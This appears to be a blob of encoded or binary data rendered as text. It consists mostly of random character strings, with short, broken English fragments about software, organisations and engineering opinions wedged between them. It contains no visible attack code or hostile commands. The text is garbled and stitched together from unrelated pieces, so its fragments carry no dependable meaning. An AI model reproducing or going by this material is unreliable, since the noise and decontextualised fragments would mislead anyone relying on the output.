z&OL}wIR{ke%ut#>U0U`kWsmjA{*8N|a0_VBro?d~6hUo#?Nx!hLy$~#X44a}<_JcI z@Gt*@$4M%xJV()=zE4p%@L%@1oZ!LGF;Hea7iOW z%~i<&dT76vzVl7Ms*g5R{kGAJ>b%TWUy=lo2mlY=CgSRfO(?c}!*vO$GYXJiN2*^q zLtdAL!FV=P7);3F98>SrU9Rd})&@vs?)|>cCkCA~tHuJ~CQ0~sOhQcSV;dMtQTCru_CCgvMwpFpqY-vLL*5Za9FZ@u^h}YS zU3od4j)*Cqmtax&CY0ODs_}g{o%C1R97OHX#K@L6+=eE= zcLihK7Lb#n4q6*DgPzaOxhf|{3L`_N?ATX_`byJz1~wF2wl@Zi>-URcd3j>QfKWSb zxz7Z(D`m$nJ&_v6fIVIBXMcQ*(QN_Lo@OKy06oDFNd!SQ*ltv^%>`7>B-hM+|Dz*o zLt|7R&c!seeWnd9@NI?TROo7qugl1QH8)OXJ5E+hg*5i)kp9VPbMF!is1u~3XambL z2(d=Lo~Yr>Dsh~mamQm27xM(kq`;>;!E8LSL zD_>;DJB;Y8mKa8nfW$D80EuDL5|9{1?Er~kL@`_hKMVpShSA>|G`^jTUa=V=7fI2A z{G`Y@CHC&}#jVw_h1fbFg`=f$BsVz5fLC_d8eVt=GS^+!yTlzz(UCpl?@ewzjlXxf z$u$1nW~c)o(Eu;=`uXvA1|gPoF~}{B=W4D;@H?vd08fjFONk|Lr0$4R@G??7CJT-Q z8Im<+q4q?&JHa)ynq<7}s6~6qWNGkTDgu$kj@TwajDA*A76nC}c8yO~)8VfMa@ze- zwu`c2!Io_W4}Bw!z1D`<`xe)LI^Ov3y$rJX$|7DciHMF67h$jtS~Zy zcEP7gt8#*0Tb0vWfFA@?i5*wNkx*6+UuC+CxbR4~efIN+Y~`6R^KOAfwN8W#mn`?} ztv-S?NUkgy$jd|u$RQkjH`aZs92rQ%7VJc#NyQIU(iE-EwaCaAr5x89rMen;uJ|ZC zJ~wK~FI-M&N}W>fQE{-hl!xdI3k*Kd8*VQnA+nX3qz|A9W{q?}+Zi$d5=^oI&&^4K&*z-jy&QsQicMUHhOvL{ zrg^a(vKEKrHemuPsTz$p!8o(i6$GM#mW1(3O52GnkFUj{*s4V*~n(*$`S=NKv)mb*6X}`z3HOdZR-kBow z2s5u-k9o;tvzM8d_8C55mK^|SKSP-s+mRA682YqccM;G)hUjWY!N$atf{jVx6l_ci zr(okGK!S});S_8<6p&!!*8vGO{t%F00A6a;35IcJi9k~AV z`vXk|(1OYB_g-0PPaB+fEiX%q91v+6$Matl97|~8+!;yDk!)r+13k(27SR$)?EBrl z#dyFDsN<_@8z$s*tX1+7LT0H-G&|{foNvB_y^JnA;w|VvYtOe#f&?`33^$zS$|{Du zrojbxCb(u5ppTgt*6#7$-a7P?#o7E~{IcUS_jEJuHofuOmzID37TRyl+WUrIdVkyV zU6bE7Kfa(()~S~)r`EWCs#iHK*l*o@A#$8*-zV~p!+YBCB^hAGrqVo5`nc$aF5yPoX{478Hd|lw}xmY8)qhj zQwg5~xj~)kaB;J0V{m51(Mv64#IPujtA%R&JwJfTpG{h!B@4JFc<+3P2O9kipQtBG+lQw=Emq&q`fP~K3kgSu|-TVbM z1y5cPnb}6q!9N@e+Ujg$(=+1pA`CSc<|BO0M_xi4K>6ecWL8~?bA!`r)9d{ z5RI~lsTN7By|g6L-MjXP2FBvT@;JtwWMd3NUfD!n!i2%?PAwLn!Dk2wfa-2nhyP=}l z1l5aET5$i#2ZRG34FgSczwcc{=zO&{2k(fFeg2qT~BQ5x5qRkYbq{bkD!4 z=X_Y!!2I|%gBN8bI-fuCX7$)D9hVQ=H1NQ-r&iq8^Nyhho=(2C+2D0A*5JO{+vfhc zk${;K!~mCzkpO2Ff;11^j@&4k@RPVH#MGS`>HtVg_|&}P+<@fuM<2L;*r&#apJ=r6 zjV2qrjD74_@`fv~XTCCWcK`VgwVm)#I~r{{uYY7+OCgf4-Lyc z8kW8Murz2`4tj3N4bxWr%TTcI=T&_o7H%8y(W=eYmX(|S`M~1UN7rpWcEGUUxt2F% z82<5&oyK9(NDk{E!mUt@q*QS}gi))zLv;S_(=|cfVszk?r;V9p=w? zaENh5>ubl)a=iRR+h;#-R=4mY%a(sPbvhSJXo}a{@i0^(Km2ET@Pp=Lo{pzU#$To z1_4Q!g)BA~ojDs8erUE?={h<8{YMVN1tR##J0{!F`U@Xb31o(cMu`no_hMr)ZE>pk zFukj)40+QbFosCEZ`G6~^7WE)5QYaHVwPkzGsxH*Yw&VI642C@>&Wq?+`v<|?3APM z9|Vw`3_(nbQ1Ekkcsk0d(A_>x104?TcBLG#V zP`(^MLK|8PXcChv;pPt;C+@%3RP=4jh|n>0mx{kj>)PYBdFBsnpF|G4ylG?A+<&*7 z_uePQcb@9=QpUHA1a&~dfesGc&6cE5Q|yhHa6-VQc^OkRm-*Prh@pH9OAiixr% zP;;`ZpuS&-(jB`_3^-){+TFy41ei>$|a&AJT8j z$uoX9Zt8%SoKw&K>$oZEa-UW5>yC%+nXz`~>hb+9^_%qVE7@;;y?gpKZ@u_apV;_o zR*c*JlXKgt9Eq z;UT6MQRH!^(s)3RGK4=Wy_NtH^m=Vr_o?&t?=e2nX=$hXzc+kyF)rm>(|fhq&pwb? zp55DB`A+4>Ghg`CoweHj!kPWk#(nZ#-y0v^bNw>;!H(CB-T2ywcVB7WIa_kf%q)C% zsOyRP?xBaO0c<0UBCBfvhp*R$X_hM!Qb*458Kk@v z6ydw7>oWD_6c`8NULH>NqAXa#oHLW?ghrfMCp9)COL19oQe#(7X2Hp zBMo^KAfX{Y#}H|hVxZ&$65-ia0}|t(G-MH-@*JS2dEnIodYh#~IA|aSV*;Rm^Ru2B z)DMuj?S9>_moh`I>oV+>IrDmc`9#rFuh116tM$#iUiN1juix5~31(KqCva?h>h>6P zEc=tzp;AvjUjQt-CPdL7X%3`8qQ%M8b-X1e(j1NN0x`kmF&Fr=n7x6?l@nD(>?Ma?KwRDFryPr;Ld?p~0Kc|6r=P}u)%G?|b`&Y8UN>F64rGLb--IOrf&iys=oNxGu0bk7-D^S@rum%Pk#Ab zui-;N!h24&zOeFvm~B72`V%s0zn;8y)RF*t^OI}4zCLBauV+n#KP|lZ!%?r@IwNCj z-KyDFjO%jaJ|6jGkI(P4k2b%{^r{>T?+6qXoqnX~q5Um+Rb1+hMPqLWl zKB(}aFY<0OJll6v^r6!mZtlK#<%pqg-ITqhtU+ii%hKJm7VVvQzcnFi?d|5IUaKE? z?$1%)Z!yEPmc>~WqWB0#krp#!HN-|Sd=zAr4 zVatY(d?G(@9rN~q;s5@`xccm-yP`)7dwtCt|6ZMaaQW*G?(h9@2fMXs_UCi1?eBc% z<(s1ig&%5^@&2#oYlpqIeIiRu3OWJ}@Rr0l-$>PtGv4h9gcC3!Om#iYAxrVjm~mOK z9VrKm%EyqKpMW*9aH^xR(Uqm0Fs=FsPtA&5XTmx>0Y2f_hrl7!$PM4pY;#nTV-)DQ z0?kdSp)2HQw!9}9dMwVvB|G2eH=>hGu0()}i1bVGvKyyD!bPS!R)ZCaN93>~@Fb=ztBqQ$l zvJbe9w-Sr-ub3Drj7t#q4{kx>rnFA>xk^LG{HBg7Y$fB5R6r9PykqRQ8Mh?k8)Mix zQ~J-d2Ah%p8ug1lU7r<@8eNLAs^Hs=Sq0LRcy*8CwsU(MHFwh-XNWz_?{N{biJ-rImn{ z?G!3F>Q3^P?#Isd|{dB=K1F3-+y+XG9r`21hN=Xn=nj@FfaH=iq21qY?gTgdmIf2QojS z*5VwTRMiBHLDWV(!!*p#5~{AKr7$*B7J_&$YUg>)w5j?Ac?7yRB4Bh*2PME(xHt$3 zTxKd#3$cKZRklOd9p zLeShr&v+EC1N00-rGUixh_uSd{ES?j)s+$;k?$FLhC=nap5Sr;-3&+sxoC|sl*`|K zIr8Ar4S77R;Qv>%HcNHQ(2o9_V;P z8S(tg>u+kZ&a!gzvp?@S_3(!0Kgj&4Ab!!1{84>o*be>hZ~5mpzj|foeb!D{w;k&@ z6bB#|p1dpL`a#x*zj7&eeLZz*a9iGzGsA(ewklJ;H~IS%8x=SXiqm4kn%ADrKjq^q z6XYdC5qx=fD4#-YfIy*nL{{GC*QAF>;!463c$RViZpO)UNw%>#o+<=a_Sv*&&7L*H z%bZk~!!-0?!K39X63N!bv5gCMW3!YbaMg1BsVPmcMQ&;U$h}BfU%=UNrHv;V=0$EY z($gsgJLg4iBIb49PA?kF8cqL1<9%a#C{rp1DUunuya1_Kq)4#4yHiR+3NxP0-EMh7 z;t*gl01LHE#4_$i*OhIG1TY{3cb63&ceXP~Pn6R}_{u~gq;U81H}56jgQ?7R*8`f# z%tl+{)BV`)X*?4Q^D>~PnN7N++lvy%eQ0^_yGEw*b9XM)x{hj~vH`C$y=6hcaZM@+(aQR+qk?zg{a9M581e3^NraSd|jBFkBGe5!_P2PoN(K za$QOrn%Kd>k*Fvr2)GA?FIf19WGNljor)!&Gp7bBXU-LrCc6xAGQ1+(CS{!7sC-w;7DBTlb;@Ezcc@m zBrW|E1TyCLhZ4P;Amw9hiY7vl&j`h?1?jqJrfpN~5n=n%ciDfye_hfKNsf)kN?F1V zn<&>#sL3Bsfo43YXyLZ0RZH;}&)sM9(;M68=3iq7r!Y05n ztfHWxq8y5xA|Q|e0>J>`PzfN1A{Y>bxLhJa6eRDrs%K}8|do zuCA`Gu0AoYAMDtkHK59hIQ^TY)qFjI?7Q+7p2{W<+}%%g3=sx&q@Oe`s6U$ zI`&3_{i!m}j+uTDau%(7Awm8g%Co#5YJZR^dT_-T;N23~zhYWoK5kXHL@H=J%3S~lYf~~%zI_-X8&APQR zendv2eAl_TF9s5^Fa{EgC*vaER1%pa4}x zVAN(9eViDnLgxErVi8Miva3ra&LOgU%{+z6! z2=o}>C@^j%a?#F?p2NbBl7e0V*H%zBQXH#^U!abN@P^LDk9Nj6NE30&UsD@DUv2yw zUX4#w8{ZF*2=AB%NQ8HM9*_v{h@C^FyGZtm%@d`Q9{enbTTn-Fa0ttL9A}|(Aebv_ z3N9x}s~qS@WBIK11zQl*x9x#YI;izVzPLXOegXXhcAC zupXxay-@8Iu-#Cw9b?62LmH+ZGcM%lx0W$z2xt{UO#lgQBi$(|jIS5jM}po5Lz{y0L|AhWRk-xSWge#S0&WNmn-h$F1fXLK5p#-$^ad2j z@`boWaKuZ1#87&$btG_iw_}s|eEha`E=r;9NH z61;b_3pRmzOol8;#tt%XwVn6tOu#SmNLBit+e$jkd2S)CqJLnB+ArEl+W?z6?I}Pt zxz&pRiH&jq>R)>{0Q~FL$2wads7c3R1Xt@}7qU)6EsD!5s7}5#T6kJgD|s8ytDQ>o zX&T_5LzmQcURB%aD7Brb_-Z4+9RuiRw%*JEBwEZP-*Xt<&&Q*j(*WO-I|M%+c| zYNHnRU(U%q>+tUd;x*)Ma;s>_{mIzUkh{&0Yse)bO;9flPzkqX0wA}xs3A2XT~gYQ z!;e#dxdxpur#l8x!-D0wXbz=@Raf*XC=4a(Z7>*Vua2S*m6Zs4M&(CwLGbO&O8VKlvP z(my^FHcifXIz0)K-pmF2fg9ZHw3(@tjH^MS4xk&ANkV=-7q7*GyboSLA%Xj}S#+5c zY`G8shamt;jutgU0xa2Z%(((G7~pb(9~1EqY`v$kjg+(b9&I|e%k#P z1kzq;VqK)bOAgc2t}IHGdLTf#6vSHRVq#IuRK3)kO3Uf-)Qsp8dq=gSf_DFjQc&0x zl=4fWJ-Yz7(&B;EQDo1tFXqP0tjaf@K(A~-c5Y=;)Y%+z{&6)$a&IxM5viy|(R*}9 z5O#(SM;)aYOR5LfP_^peVfm}8#9$n8qZH&0$T{nj9CfsjtlQ~(jRmt2XIGuI9!#j!;vOfVR-gNs zgjyYjTtclU(nODwC=)%I2}txfS@49P)>nW;ul?IeNt-zzWjMPm00WomaqqSX9#ivF zo|@5%Vsdut%r*&_shw=DbdBgqw;3E<@9Imp^nX6HhjTa5%-)PUkC?d$Lk$24#(f-+ z=*DLOiJ4snBs!Etvgpts0hP*p%C@y%wVu3VmF?#?#CtXQ(3rLOuL*GDn^a4aURJVA zs`X%e5y=grW^~|YGy)XGPy`^+pkXSa0Mx%cSknSDll5H}wpc%=>$1CJFU$-536su) zJ9Ri6VR-7}Bd?hHXj46!T7{)qH}X>ZYeF>)A*f!HA~fmcurP_RO^Up4<6z;9CRIhu zX&t$RM4ql{ySgw$@=mmnY@31S2 zhFpvqkGC~=I-^yC|24CZF9+}CdtGMY9^n!`E!a$fM8VnfqTf(1aYC>>fi%xse6e9Z z62RpTT3a2Rt=(MM!`l*eGASCkUPg+F9xO$tQ8A{;v3)hZC;Bm|+-DFR=q z9{LX{8r)~{b@W;%EYfOjQan>88wspmS)u1+@mDzW-`t6~r=0U3CGF&%*W`eH1-a9>|M%Q>&4cgODQ z%-59;Q+7yI70pA@7WxOdR^S$Q`r1t+FCyn*2;=l%>!A|It8yU5#6+>em`oyLBHsC| zFus#^-@)1-PpmLbIV6jTRv5~j4oozWT#B#~PnNL4m^if|tuQ9~Sz(|s2UZy0Vd$U6 zDksstiiLdU zt^rkftT1v*TVYUtq|t~ShPmD#E+mDd(adFrA{)iq%tkE$&0~nReFQ@d2P7DZhV5!* zqosg^Vx|KT#M)v2AhEW18IZ_FYfrJZSP!TP59M4yJGm4(Bqr7tMS$Gc(o=)DpJ_u~ zTg(GSG&8^K9KW#Oj8eG|<2Ma5&_Il*j?_W4wjlE-_oatEEdP&I7K^yQX=SmDdzn@i ziy87)zW4M zlh_<;>sD8?4ZzL4pV6Sb{|q^gvXFPA%*-Pg23_!w+xp0R4NB9h>$NuPYm80zrB%@m zBzOeJra@Zjw7QZxho;qa%r7*pu3@MnATd%$0Q!(8Sh6vR3HDP!A931oK>0kaG8K6& z-a*0dPyM1P{d-MH5Pc?S&M_F zfLG*P;HL~vDEi`p(QNJsngn++zC_J!3^f2GdZG^?A$R_rA|Nv&j+%Dq9?liOK#2e7 z)TK-s72J$4N#MX(nQ=cjU_$z%%s5Y6U1TTe?pjT=Ntlh^d1@ODsBPHi)rQfiN{o2` z>fcNMK)rz(o_0&PTAcpc7{G*w^&TffX}{CQdS42*hgEEktJog(!ZsQhisieXrPci; z_=6g!jq3ycsd4%=<4w}`9Ait;_AEm#X`6&JF)Gpkc^jwy75Avp5H=X-`8Y+P_ZEbf z=E5->$0txLV!0SdmeMZ?EczvB1pz75a#UbB>zt%;Y}q*wE^_l|AY9=_(LnfxA=f}i zMw$==a{&DZgOui0+Sp+ha^disio+i&4!68;=uCLA)&JkJ2JJ^W=W?w%&o(hgtO?b{ ze+i>Oln%xomI$ev#5NC8 ztFG)-wVw)|$~EnMRzj&_YDK^dR2agFwWB>vN?6bH zN*R|&qf*z_gkpd5Y>}CKF2!AY%36VL0AG&}MgKaLWtmPBfs6-Z>p>vuH(VmTwzBpN4l)M~hZb7TKOlKlZHs z_)!X^&uBi!uJUN-=jjupjv~I8f!6~Ha(4O#pOV<8x^UW4D2s6KiOlC@174BFq7>;I zr~IXIE*xtVY_#_q{C#4D0v->HpAs+d|V_Q9wTw6LyucRBX$gUQkaAtJ{t}SBMX8zb!A4oe9-=F|BlaIS;F;7s8dr^&kI1Ojl)0xRphp-2 zySVX@a0`1HX?s{VpjoUn=X(#3xO?C`6}k#Yd;woiOP%V>}^jb^9;ATdzLX?ia=i$}D&YpHh) z0-EZ)!u>c`&ORnD^;Cebh9XsLBtUuY*kIeR4}9D8InXRiX0jR# z{&|g@d}V%;>_j#&G`f;(ZI)03IKi-Tv^NUT=HzadL~=5`GqMiJr__>y%v|kTIGL;! zqtITDi;X>-o*+5lGwH)5nagoXZaBzg&7kV#dej^#KbU^#4%9Iq4Go8aK$MK%$fjfIj7t?*J0zQCKtK z3f2gaD6bWu0h})u&=log&|WR}H_ zw>F#1vR3p3G=}tQG>@_v1)IbFb)US?@q$(tm@^F-v|%AyT@Q%Q6v)ju$j^Al%^r}S zDUh3Ske~68n>`>uQy@3vAV1^Nq`+c;qv5)ar|Vi>1#OrX2`B@{mt;tFTfAP5i?GE< zxG4(ER<3|#q}M&gJwrZI1GztFQ1)kt#-$K7E(z+QQ*T)6L~u`+LjVUg@N(;OzwQ_v zvybB$kg2X0h!3SAJ=7lGw}?*MBid0hB8?TJTJNdR8JAEI3Hjzrlu4P2MXyqP0d3YX zN|uvwLk*&o*%#0x#gn0!YB9^YXZ~1ZMn>}`@41*M<;t8s1*KlH_X|QyDMbp|%oo@= zV2-w>M)Q2klQ`bH>j7}Oo(ql0(TToCMIxtDklArUEH&C^#-_HU=Oc_2osB@2vivb* zM6hVLoCKqX+f%XYN$6av_g_!rfPtxbwb9TaOy?$mMlf|-0UE{-v|)wL8Gyw6_%H|YO8R)v zs@S5*J^IVfSFNqR`C<_x7rN!o_AB?yEKcAb9LemZnuu-{Rs)^5dkF4Rphr zZ!|==E#5a7Aw4>2A)`U;`4&U10SVzl6I(DNl<-l#<==Oi6aV?<$erV#8rVBz&+FZn zzPP{J=I4ix`DSTMUc%Ey!=BszYPa_{>>e{@%*ceCo;NOj`+B+VTXw(DrvK!zm0iNi z)291hY|sa4gFaFlwA4?7g1A9wnfiB;`C5Gh5DUjHa5`>1UY2QeD>5 zqF&W$j5)UF(qDu=AP16@PTTc4Ov2X=j<|rHOC6 zwh$kxf1%L00yH(Z%xPVxLrPrMFYherT=znu`WgV$7ND8br_9Yal3q5xeZ;a~s;F-l zvt#u0)304Mee~YE9**#Jw~r55+UEHm-ZH#qnl{wT*H1Zg zF7?twQO9z(C0MsjU)pleS0_y0J36%3P{(Au8M^W2LyPWSSp3Y7PnG>7ar@&@H7Z=Z zfNpjD1w%MP4!QkJWSra*G@Y3c?kSahzMAComC@&`FrTlc`g~Q*C(lfuJl%at*86;A z_xY-kPoB9xd7ApF<-Lg%3W9eZG3m=c^GuDa(Am zdeJ9OTc5hd_~dEtlgHwdr?XF<2|jt2``|OhCy$ZKVVUJCuD(?@2)ES{gfGrKpJY#* zVD)+kH}lYHmQJ*SUe7X#Y>=O*a!QEX(uAb%wd(Gk2y~Y)-4qX*?_RT~L(dkj{$W)5 zIaf+DXe&dcjEL&}FQ4ghG0%pU#|j#DB?=@4wJYisR&ysieiVw_9VmlqZK>%aCBcWebc)B-Ii1< zSa7x7s6j20?~ecEL~ZlOgC5<{r))-+dtc^qoyGFdxa8d%6BZn>OvpT$nH_Cxpgp!> zZujl0njFgA8~v{N&b=N}+Lbjd-?_Hp`aWacjC=Rp2-D8KhL7s>du9B|i+^-8Jehr{ zbFIXk$%DU2%s#QU`L`8cTF~l~*k7+V`n208n?`0yfy48ky*;7kC&OkZ&D;^0{nVdPXP(@(X78)#8W?Sw8PC1+ z#es459hNtb9L_U-Hef@S-Yfduyfm-v$H_xaOG{qq z)?<=iO#UV&;NA;25@yWp^y$H$OLA)W4g09oiFygECtvI#|G577O6^wf(cTy&eR{2U z>W!bbHJ+Zj=DFQ})O8Yac?}ne$L3YM{a)_E?v3s z{YrDj`MWO<3GLACbk>&6e+;>mxa6@PuMHWyxKmb>&wkzZ(&3c%drx}p)#{_)_-Ltq z`Lvq1Qg+m;F)nWJr!_8Rgty-r^?289S!p2$uN;0qb-cEDQSKPy+}A=s4$Dco6+8R; zZ!@!7#jVJAIxKRzW@9$%QfzReRSe%;tt`snMG7x(=#rAg3D z`M0=wH@eOXe*SEQh`Wtm&l)+PVdb>=cklfYRddUjagiD4qv|J*?`C~^VNCznyzSQv zPfxzHkury8SwO&;6w zqiZRPAK6kl^QCPmQ<9?#^0qCAf4$nFWlcYObMu(vr+U;Lbxhj1pld^YXyv$i?=7sg z`JHFXnRVApwp=)a^TGZjO1gGVD9&d5%7V#BgbH|4u5`XA4M_+aQ!G46i2yw+` z6M@`9aw?;6M+?Mzs%x^r+fUM=xH`6e*e^SdJw*~yJVRn9!ZNTfHb88hmFY;8nfRc-FIb5|*9n9@8wX`G;w1 zdjAw#y=Kzlpyl`8xm*2mn~FzfpKkVc*Oj*~jIPr5z}WlGbT|Bv<`1VG9(oJZHW249 zmdzrFUx7oS&9=_8%NZltw1O_TEY$^Fnh%XlOxJ))H8r48J;~N16!&UVPz8-`To7DQ zbP_I(3(g_ZdiN((Bw@R_$358?-vo^&9is)H0ES$)ivf>nnk6()H+L8am!64vI#MgBf)VsHPd8($3Tsk^}{pek?F$cJtP z2BcRPjtX(Lu)cNOodT{PwT>6A<$<3P>y=R(TwUEkxw z>BFadHTJz}`Mcjd`>J(#%7@!${M<(0z0qgG4_3b#xjSL)xe){M#(ugPAF6+KS#Av5 z*K^~P-_Ip~+_7opi$_*J%vAPK#eFWm6T>pvAv;^y^ea+ z_;Lu@iwHFjJFd!42C?V($sNr?F;f(;*W+(!X=mI=y*0v*}8iMEU zdAU(~VrGxQKmS=gX2kqYKFG>y^@+6Np>o3y_4)X#xrdJqkGh+k@@_@P`s;T$b^Nyk z1u7p<0!|KW#b`v)b>eW8zOt$AG5+M#2Au)O&^B5lQ< zc=qhfmiR>d`;z7AJ6{KX*yQ)-3Gzcz$N#zT#Dy{6K701_0cBD?Ts3mKZ9so8Kh7|C zQ|LaM>7bA}m*!|h6hg49)0Q$e1T6#oVY7v!Bpu|755n1F3JT`A*WQYoNDXVp4I^5# zVaP>`?nwKVw_WC*PkOXVl_BOg2FL7qb3nIA?DMBp~AdP=5mi=lHfK>I+<)C)RHJUaHY;te)pw7Yhi#b z1cXAYKVmg|HKU_EqDll<>hU$eu?NTgdfi$p>Es@)b>Pf zJCQAcAs5*?G~RV~<+-O4w=6T7XT-no%d_iJf=?yQjGwlpTp9hIY)whq{)z8zUmv%5 zQ_HbGC9nSIp%!}&cG~=X@|!0|w3@wpe!E(gFE3oEHzmz54P7v=`mzi^^Mi-A+Rp@0 z%v~g0FmR+B`$^c7rz_?LxOLJKHiYKCVtGvN9Rwzb!jx`##3UyNnX&Y%mne4w%O>f_ zPgiVYptI}4fQVkKsq_fumRpw4m;phSK=>`&9u__4*V_FA_ZzJR`*Cm4@a)ZyYoEx9 zv>R+T>~^8;)q`!ebK1~>gjOt%QmbR0%U;h@6 z@MZTI((!M41YLVQwO5%BOV0M_w&v2a`v=?Sy?5l%z}g3M8W=y085Q5M#)4+6b33%C z(r;#uT?L5+KWum}X3B<2la4N$*L^`$w=ZpFT1_s$rb>es_TNkSa9E|H7vlq3EnYWw zRqT>!$@4#dr^?Bm#-P@3)=!A*bF=#jNAfFG?HQJ3r(b%g<;{L^D;8!aS)O`i?}*t? zJn`e!Gu^jT>Nlt5w#=3vZn3=gSEaC&4<-(rsJU@*Y|-)y{T&zHkIz|LwPKlB&-VU) zdFMJaH_wRQbZtkyyteDsRVe;WI{b5TN{*)T@Keb@X0CZF=7U8KS53)jB5mw3a*XAr z#+yIC_43uk?8e`>yHMt@ZX1@&(QNA7CoyMb(uIxh9NRha)9FFKhPF$bGxyxo19JVE z_MS8Ae_^}cb@tT3PiuP~>~}4A&<$z$R>Q{L8Rkyq^0OAtG<>vV=9H9dO_`9bLu+@> znEA$sH-4HcefI5&pW@oKo%8hF&o%R}NXc(6?ebjB8@1;yKfZGHiC>@Ux^3mei`UYu z12WF;%%1b9-<@^eK4<39T~;=7Nf z+*{ty;UAm|uid(x`Tesm3>|YP=icVp3!>uZ%$MeWaq9LfXG|Y|V7`%eV%qoSUDqBS zzqt9u$gp8k#~(@<*LCI>`rmq=3w>rwr^HGh2Da|Dg6OEg{xi@0a)KxzWNZQor zc<$SEr@=3dXwYX)1zz0esXM0^4m`jpZ@;Cn-^E<_sscOJHPEQ ze|^(N?Ivu=`(WQURXz!Cl(4gQo3?f1Ry_ax?q+rS#f|K-AnMZw)rX9~9$E3s{QQVJ z$?uQIXr#GQ@zvJ~FP(le^79@Wtj#7huU(&oLbmDWvhPw_fII)Z0Z!*Y-iFNQzz6r zTCd=pm(TCrc;=PGaU19CdHCG+TVr)Y&rN#u;kBk+*RAIUw!XXc^J{k|KYVtzIVWy; z*R@ZMJn*66{oWmx{Au{~*~~+6<&)YS3w3<<+tLvUGoJ3cxx-gWE>9a;*zJ0cBVpF7 znk5G+?N6B7tXHo4b8fE{z1*J*QwsFIJT_dn>{O_xd1U1KYWD#+$~`#k$+|O_bVZI| zL=MCCfrB%8*3m5v)vVUEek)n8zubUJI3wOqTh^o@Kc5xP+g`6^Zv06>*us^enhtfs z0_RpM!h*lg>-n75v%~B8ve)x9 zujlJt&%b#+i*6AApW+_>-7Ci}ujkud&&6KPe|kON@p``N^{lDxNs*-we=RpCS4X#@ zL~|yf;+N8rTWM>*)fR-kb4Zh$a>BG=S)W_wJ~dX9X5FswWu+S3s(+MpVL;naKX#k( zc}TBHR|*QR4<5Ks_f47PoejSWxv_cgxg%fySw7;@k+3&rZf^T)QQy=rTDNQV$fSa> zIjg{8hd6%*VR*6C-3dC{=K1ZewZ9KcCleg!&{wp)Yuy}Cv3kIzV%4h!sE!l zWhN~#)xXn%$M01c754Jsu(zOs=RUKpg6`Gp-P;^32;15f7zS23=T}2|ARRS0rx$kU z+*BJdYhSlAa04!LX?gq`$2_c7Mf7uf~4?lpYf(Ey=Dt z=8Cx>?9J{P{ipeBlL`y^YR0uc9JX$_=%ifD+)(#tMV;|6Nc)Tb?!HN&>M^uUfGgGb zE{ne=RHw7U>~8_D2WR+q_r`jfr~l*@lgg^;O{*Mg=U?37NI+r@gcq7QtcVN*Bmxi? zE`PYPdn+^(rdD--{;Bb=L(WaoN!#8(I%a=diyzzV`6AL5YEN94y6SeV$n~q{Zgj{6 zPZWe@-$XB-EPMI?Z7-BX6Ggy}ifS*EW9a_95dQJC*NTojW163Bx$||ar4KbPY*w## zhcCNrc`V|oS=D0?KD)YQwGoe3jo-BB&cXr3O&9uKhun8R#(F1Ud<9{C;I+r?({->t zbNi_Ed|6%~x&?Hj8540%S78V~O$M{TI_xPb_LliN53TL{+NzHGB`4scJNufo*U1A$shW7;sP&QNPW z0=*6Ao1Yrow;*iQi^QM7%M7tM?p*(|jxKW+CfCk=iv3gaZ_G0wBQR2zko6f4T0(|% z?bJC97;-Hkr+L-;?**O``Ahg&<^&itiakp;hm2>c5fYP`RwVphX2>P{mQ>n)uZSh>Z3!qD6|pUsS#5cUyX z^5oif-@JTkQJa~Le2I2*D4lozvg8rX`TqjK$9(fqP?dskzxRroRCi; z611fX#A8EY&$GH98`~bxIk3LTqX#v`3VEtrYvkgz{1j zUGs}STz*z4_6H<{Jhe|ow^CT9Z$OCrkT1W4wWJ2FEWCtAU<3a`m^1S=XU^csnh!e} zvWoKzNuh9R)WCerUXO${FxG6-;X6V%QNE2y{Y8^J3K6f_6VeQW#nY0#;+6y$d=c`K zuIH2!4-0cAsws!_2eH4WpTUU}IVE&E?ZGKnB#oBr69dTAv8GWDkz(`5Y7^u>=%}DB zoFnSA(bgqV9;HjLCtuHqA!O6VH7bta?W8MFx6-AqdAJ0Eoid$6AQdiDL-g)3kLw|O z2Oa?=U^_D3(;h<%Lv)Bp3{LQ@MhNGLfP`><6_60lnQA`rixR?f2_PXnR{#>ib1fiI z-X1_=lSYC#wCJeO4JF%J8hPra=HTKz5=i-lb>X>#6&0AY-Y$u zHv7?pVe|ZVUFn+UJXL^?)vjEtcI7Isu6$s5>}D@66cei|nm2MiB${)$bP~;*8EODX zaOr=eo}Fqvd(?V%d)0$|&qQ40lxQ>5vh~EamK3TS`x3#MGcNB3N;D@JRAFmEs5M^) z9Waa#c4E7&og}|SP7=g4vb`9EU~`nBaz`2wNJ3oRWxq~k1J(UOHI@U=4vX*o2eklmTtiN^rnKj?8|2%(Ir`MfJu_GL`J@1B>kj{x-AKzRnFOx zg5+OqFxw_oQ+&MW;$&M=ge|F-`{b4=U*Af?k>?u+q`X>=Ki4puIgK;!`1_2bIph4l z&p3=TjzC84HB3;ue+kAl+SRP*%NXUoCc0yOe~|Ik-f1SS3HQ46)*0pf)&rqN?Y5u7 zjM}*UP%i3fD(uHTfGr8mJN5$Vs*)4jEV&qA{j>hUNR`bxgk=u&n%=J9&32mHq+RNa z7JF<$TjxxN9h-d5Db4~ev87|0LmYum@pXP#p5`DvlxfaphM(4TG|E!hIo0h0(l&nl(iQoZSX=u)vZdeT0|JsW|pOD1HEV0Q&gooyXIkbJ*~|=4RNh>33Vy+Ck5P~ zUc|&&oG9OdPDP5q2goV+#=gf8Jq1X7oj$as_k?oPue)6FXUvz{%pOR@+$=>ME$N*` zA0^U9=31nCU{;ipFn`Ob!$3zH66|I^RIblAR|G{gCC6;$y7(wF0}p%?#bt~g%%vuK zP&pGmfHOeF#*ug_$&aT=a`#9CHOFA7Y?k*Uii23%JDkUxXpL{5Sh;AWC<6^bWr&AQ zsDQUkR~4q@Q+_ zqhhk&$LEPM7n>+gi6G2GW*}ckMJGXu^$U>AL4kQTb5KnA@et5&kpPM*GcIHo4Rc4w zIN5YDNJ5NuA-ftA_L7`#fOcyOnw?;4_cdm{9&#_GXeu-CHxftaq>|kbE{=MxishuB zlHGy(OUxR`8wa+Wr$iV__L^d^YO~gGY>4zolRQLkl0Ts?BZ`#t9&MdcSCd{7yk;!f zL+oaXJ+IALh|41!W#nR_c&IZZd7=ykl#}|Q42=US<8G%ure%USLU)lq1|D`()r7mG zoE{{^n*2UxMWIz<|447`sK{S99#LLq72>7IriU=4Zn8zvtyCB|>A~o4^B;14QO2Jo zC9Uu(nWyoNfO_%d9S7)fhLQn^`HZ|q#dKc=Y$B%ns>ExYk33aGzBYh_wig3PXnO`g zLfbQ|`JM(Ov^_cjBecEYfP}V38onsc3P@;sG9a~+Zzr@XnVWV zv_dtF6dQ5J#$iCh3nmUSQfP(iRp<;Lp&v$L?@j23eE^BH&47dt#W#S2&Uj6Q{HSYs 